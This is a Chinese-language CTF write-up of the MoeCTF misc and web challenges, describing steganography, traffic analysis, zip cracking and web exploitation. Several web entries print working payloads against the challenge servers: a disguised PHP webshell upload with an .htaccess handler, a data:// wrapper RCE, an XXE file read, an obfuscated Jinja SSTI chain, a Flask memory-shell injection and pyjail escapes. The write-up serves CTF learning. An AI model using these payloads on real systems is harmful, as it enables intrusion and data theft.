战果:web和misc 除了最后出的几道ak,复仇成功喵
misc
1.RUSH
下载附件,发现是gif动图,拆分图片后用qrreaserch扫描,获得flag
2.ez_LSB
下载附件是png图片,结合题目,推测是lsb隐写,用Stegsolver尝试得到
base64解码获得flag:moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}
3.ez_锟斤拷????
下载附件是熟悉的乱码,以前经常下盗版游戏的同学对此肯定很熟悉,切换为gbk编码,得到flag
4.weird_photo
题目提示crc错误,简单推测为图片宽高被修改了,恢复宽高,获得flag
5.SSTV
下载附件获得音频,结合题目sstv可以得知其类型,使用MMSSTV
6.encrypted_pdf
下载附件是加密的pdf,使用https://www.ilovepdf.com/zh-cn/unlock_pdf网站,成功移除密码,打开pdf以后ctrl+f搜索moectf,然后将那一行复制就获得了flag,与签到题一样。
7.捂住一只耳
由题目名称很容易想到单声道。使用Audacity打开,
不难发现上面是摩斯密码,解密获得 flag
8.Enchantment
典型的流量分析题目,用wireshark打开,发现可疑流量包序列193,发现是传输了一张图片,查看,
根据题目附魔台上的文字不太对劲,猜测为flag的编码,经查发现是银河编码,解码获得flag。
9.WebRepo
下载后发现是张二维码,扫码提示我们使用binwalk,用010查看发现里面藏着7z压缩包,直接将文件后缀名改为.7z,解压得到了.git文件夹,是git泄露,使用git_extract还原flag.txt,得到flag:moectf{B1NwA1K_ANd_g1t_R3seT-MaG1C}
10.ez_ssl
又是经典的流量分析,由题目可知是ssl加密流量分析。
首先用CTF netA,获得TLS/SSL 会话密钥日志文件(SSLKEYLOGFILE 格式)
1 | ------WebKitFormBoundary1EV4LSnnRBL8OzyBContent-Disposition: form-data; name="file"; filename="ssl.log"Content-Type: application/octet-streamCLIENT_RANDOM 5cc9d58e7bf7268c8c7ca13915b43530206bc57523a3dc06420f47291081bf70 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4CLIENT_RANDOM 523878d7689e894823485b8f32727c779f8605866423eab6f4cc16c9df1cfb33 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4CLIENT_RANDOM ccfba4dd12e374afd300f296b691e12b70f9d5f8be0458782887763c8a54626e 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4CLIENT_RANDOM c8e817f2efcee3be9290aa075919f50f329be997b124487d02a1850e48c4292d 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4------WebKitFormBoundary1EV4LSnnRBL8OzyB-- |
将其保存为ssl.log,然后再次运行CTF NetA,获得加密后的压缩包,查看压缩包备注得知密码为7位纯数字,用ARCHPR爆破,得到flag。
11.ez_png
由题目提示数据段不对劲,推测位IDAT块隐写,使用pngcheck查看
发现不对劲的数据,使用010将不对劲的数据截取下来。使用脚本
1 | import zlib |
成功获取flag。
12.万里挑一
解压文件夹,发现有一万个密码,使用脚本获取密码生成字典,然后爆破,得到正确密码a296a5ec1385f394e8cb,打开lock.zip
发现里面有一个flag.zip,查看发现是Store的压缩方式,使用ZipCrypto压缩方法,再结合其中的明文.exe,可以推测为是明文攻击。具体教程可以查看https://www.freebuf.com/articles/network/255145.html),EXE文件默认加密情况下,不太会以store方式被加密,但它文件格式中的的明文及其明显,长度足够。如果加密ZIP压缩包出现以store算法存储的EXE格式文件,很容易进行破解。
大部分exe中都有这相同一段,且偏移固定为64。
使用bkcrack爆破出密钥。
然后用密钥解密就可以了,获得flag。
13.Encrypted volume
使用foremost文件分离得到一张图片,打开是二维码,扫描获得挂载密钥*:@(s<”A3F:89x541Ux[<*,然后使用Veracrypt挂载,得到里面的brainfuck文件,使用网站https://tool.bugku.com/brainfuck/在线解密,得到flag moectf{nOW_YoU-h4V3_UNlocKED-VOlumE}
14.哈基米难没露躲
下载附件,在压缩包注释中看到解密网址,解密得到fake flag:
1 | fakeflag{you_can_try_searching_text_Steganography} |
显然存在隐写,使用零宽隐写解密得到真实flag。
15.2048_master
打开以后,发现生成了data文件。提示合成出16384可获得flag,打开data文件发现是矩阵,以2的次方来存数,修改即可。
16.Pyjail 0
(为什么这会放在misc里面)
nc连接,输入反转字符后可以查文件,由题目提示,查找/proc/self/environ,得到flag。
17.Pyjail 1
输入breakpoint()进入调试,在输入__import__('os').system('sh')即可执行系统命令,输入tac /tmp/flag.txt得到flag,终端交互如下
1 | Please enter the reverse of 'A9OXRP42' to continue: 24PRX09A |
18.Pyjail 2
同 pyjail 1。
19.Pyjail 3
输入[].__class__.__base__.__subclasses__()得到所有的子类。
使用下述脚本获取catch_warnings的序列号。
1 | # 从你提供的子类列表中查找 catch_warnings |
最终payload: [].__class__.__base__.__subclasses__()[脚本得出的序列号]()._module.__builtins__['__import__']('os').system('cat /tmp/flag.txt')
Web
01 第一章 神秘的手镯
只需要输入万字密文就可以获得flag,但是发现无法复制黏贴。F12查看代码,在js代码中直接获得flag:moectf{f_i2_1s_Your_g00d_fri3nd!!}
02 第二章 初识金曦玄轨
阅读页面源代码,得到提示,访问/golden_trail,用bp抓包,成功在响应包中看到flag:moectf{0bs3rv3_Th3_Gold3n_traiL}
03 第三章 问剑石!篡天改命!
查看题目,发现需要修改请求包,bp抓包,然后修改如下:
得到flag。
04 第四章 金曦破禁与七绝傀儡阵
没啥好说的,一步步照做就是,
第一关添加GET参数,获取碎片:bW9lY3Rme0Mw
第二个添加POST参数,获取碎片:bjZyNDd1MTQ3
第三关添加请求头X-Forwarded-For:127.0.0.1,获得碎片:MTBuNV95MHVy
第四个修改UA请求头为User-Agent:moe browser,获得碎片:X2g3N1BfbDN2
第五关添加cookie:user=xt,获得碎片:M2xfMTVfcjM0
第六关将Referer内容改为http://panshi/entry,获得碎片:bGx5X2gxOWgh
第七关,使用以下脚本发送put请求,
1 | import requests |
获得最后一块碎片,然后连在一起base64解密即可获得flag。
05 第五章 打上门来!
由题目可知考的是目录传输,输入../../flag,得到flag:moectf{41L_lnPUt-IS_maliCiOus6e6d93a3}
06 第六章 藏经禁制?玄机初探!
为sql注入,时间盲注,sqlmap一把梭即可,获得flag:moectf{WElcom3_tO-5ql_INjECTlON!115fd4535}
07 第七章 灵蛛探穴与阴阳双生符
由题目提示,访问robots.txt,获得路径:flag.php,访问后发现是一个简单的比较,需要a != b,但md5(a) = md5(b)才能得到flag。如果直接进行MD5碰撞的话过于困难。这里引入一个知识点,php的数字支持科学计数法,比如1e100代表1x10的一百次。所以,我可以构造0e 开头的值,这样就都等于0也就是相等。以下这几个MD5加密后都是0e开头.
1 | QNKCDZO |
随便挑选两个输入,得到flag:moectf{MDS_ls_nOt_sAFe!!2346ac3aabc}
08 第八章 天衍真言,星图显圣
仍旧是sqlmap一把梭。
09 第九章 星墟禁制·天机问路
推测为执行系统命令curl,然后字符串拼接,输入 1 & env得到flag。本题为动态flag
10 第十章 天机符阵_revenge
简单的xxe注入,payload如下:
1 | <!DOCTYPE xxe [<!ENTITY xxe SYSTEM "file:///flag.txt">]> |
11 第十一章 千机变·破妄之眼
由题,使用脚本生成脚本然后爆破,得到路径/find.php。
查看flag.php发现看不到flag,推测flag被注释掉了或者隐藏,使用伪协议base64加密再读取。
payload:php://filter/read=convert.base64-encode/resource=./flag.php
然后在base64解密就可以获得flag
12 第十二章 玉魄玄关·破妄
使用蚁剑连接然后翻下目录就可以找到flag。
13 第十三章 通幽关·灵纹诡影
文件上传,创建一个shell.php,里面写上<?=`$_POST[1]`?>,然后用010打开,为它添加上jpg的文件头,成功上传,然后访问上传的文件就可以rce了,使用指令env获得flag
14 第十四章 御神关·补天玉碑
依旧是文件上传,创建一个shell.php,里面写上<?=`$_POST[1]`?>,然后改名为shell.png,添加文件头尾,然后创建.htaccess文件,写入<FilesMatch ".png">SetHandler application/x-httpd-php</FilesMatch>然后添加文件头尾,改叫set.png,最后依次上传,在bp中将set.png改名叫.htaccess。最后访问shell.png实现rce,执行 env获得flag
15 第十五章 归真关·竞时净魔
条件竞争文件上传。由于服务器是先保存上传的文件在改名,所以我们可以趁服务器改名前访问我们上传的文件从而getshell。脚本如下:
1 | import requests |
然后访问/shell.php即可getshell。
16 第十六章 昆仑星途
文件包含漏洞,尝试发现data伪协议可用,实现rce。
payload:http://127.0.0.1:63768/?file=data://plain/text,<?php system('tac /flag-VM4gaIgwcIg7m1R62FPhq0CdYe710z.txt');?>
得到flag
17 第十七章 星骸迷阵·神念重构
简单的php反序列化漏洞,__destruct()方法会在类销毁时得到执行,所以只需需改A类中的a属性即可getshell,获得payload的脚本如下:
1 | <?php |
18 第十八章 万卷诡阁·功法连环
依旧是简单的反序列化,把private改为public即可,payload如下:
1 | <?php |
19 第十九章 星穹真相·补天归源
payload如下:
1 | <?php |
19 第十九章_revenge
payload如下:
1 | <?php |
20 第二十章 幽冥血海·幻语心魔
标准的ssti,fenjing一把梭即可。
21 第二十一章 往生漩涡·言灵死局
在前面的基础上添加了黑名单。blacklist = ["__", "global", "{{", "}}"]
依旧fenjing一把梭,payload如下:
1 | username={%set ne=dict(NEXT=i)|first|lower%}{%set qb=dict(GET=i)|first|lower%}{%set wq=dict(OS=i)|first|lower%}{%set po=dict(POPEN=i)|first|lower%}{%set re=dict(READ=i)|first|lower%}{%set fa=dict(GLOBALS=i)|first|lower%}{%set da=({}|e|urlencode|first)%}{%set rk=(da,dict(c=i)|join)|join%}{%set wy=(x,)|count%}{%set ni=(wy,wy)|sum%}{%set cw=(wy,wy,wy,wy)|sum%}{%set bc=(wy,wy,wy,wy,wy)|sum%}{%set so=(bc,bc)|sum*(bc)%}{%set sj=(bc,wy,wy,wy)|sum%}{%set zz=(bc,wy)|sum%}{%set aq=(wy,wy,wy)|sum%}{%set wp=(bc,wy,wy,wy,wy)|sum%}{%set ta=(rk*wp)%((wp,wp,wp,ni)|sum*(cw),(so,wp,wp,wp,wp,wp,ni)|sum,(wp,ni)|sum*(wp),(sj)*(cw),(wp,wp,wp,wp,wp,ni)|sum,(wp,sj)|sum*(zz),(wp,aq)|sum*(wp),(so,wp,wp,wp,wp,wp,ni)|sum,(so,so,aq)|sum)%}{%set on=e|map(e)|e|list|batch((wp,wp,sj)|sum)|first|last%}{%set ea=(on,on)|join%}{%set yr=(ea,fa,ea)|join%}{%print cycler|attr(ne)|attr(yr)|attr(qb)(wq)|attr(po)(ta)|attr(re)()%} |
22 第二十二章 血海核心·千年手段
无回显ssti,打内存马,payload如下:
1 | {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}} |
然后get传参cmd即可getshell
访问flag发现无内容,ls -l 发现为root可读,考虑提权。
采取suid提权,使用rev指令发现无反应。
用base64读取rev文件内容,然后再解码,丢进ida,得到如下代码:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
接下来就显而易见了,payload:rev --HDdss tac /flag
得到flag。
摸金偶遇FLAG,拼尽全力难战胜
审计代码,发现是js写的小游戏,payload如下:
1 | // 获取挑战数据并验证 |
直接打开f12,在控制台输入上面的代码即可获得flag
这是…Webshell?
打开后,页面给出源代码。
1 | <?php |
无数字字母rce,使用Wappalyzer查看php版本为5。参考无字母数字webshell总结-先知社区。
脚本如下:
1 | import requests |
之后访问success.php就可以getshell了。
这是…Webshell?_revenge
payload跟**这是…Webshell?**一样。咱上题好像用的方法太狠了喵呜。